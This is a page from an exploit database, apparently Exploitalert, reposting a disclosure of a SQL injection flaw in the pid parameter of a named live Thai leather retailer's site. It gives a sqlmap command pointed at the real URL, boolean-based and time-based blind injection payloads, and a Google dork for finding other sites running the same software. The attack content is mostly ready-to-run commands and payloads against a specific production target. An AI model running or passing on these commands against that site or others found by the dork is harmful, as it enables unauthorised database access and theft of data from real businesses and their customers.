Advertisement






scleather - SQL Injection vulnerability

CVE Category Price Severity
N/A CWE-89 N/A High
Author Risk Exploitation Type Date
N/A Critical Remote 2021-07-03
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H 0.64224 0.81619

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070016

Below is a copy:

scleather - SQL Injection vulnerability
****************************
#Exploit Title: scleather - SQL Injection vulnerability
#Date: 2021-06-27
#Exploit Author: Mahdi Karimi
#Vendor Homepage: www.scleather.co.th
#Google Dork: "Powered by scleather"
#Tested On: windows 10


sqlmap:
sqlmap -u "http://www.scleather.co.th/addcart.php?pid=1096" --dbs
Testing Method;
- boolean-based blind
- time-based blind


Parameter: pid (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pid=1096' AND 5351=5351 AND 'YCAF'='YCAF

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: pid=1096' AND (SELECT 8639 FROM (SELECT(SLEEP(5)))WmEq) AND 'HjJG'='HjJG

**************************************************
#Discovered by: Mahdi Karimi
#Email : [email protected]
**************************************************

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum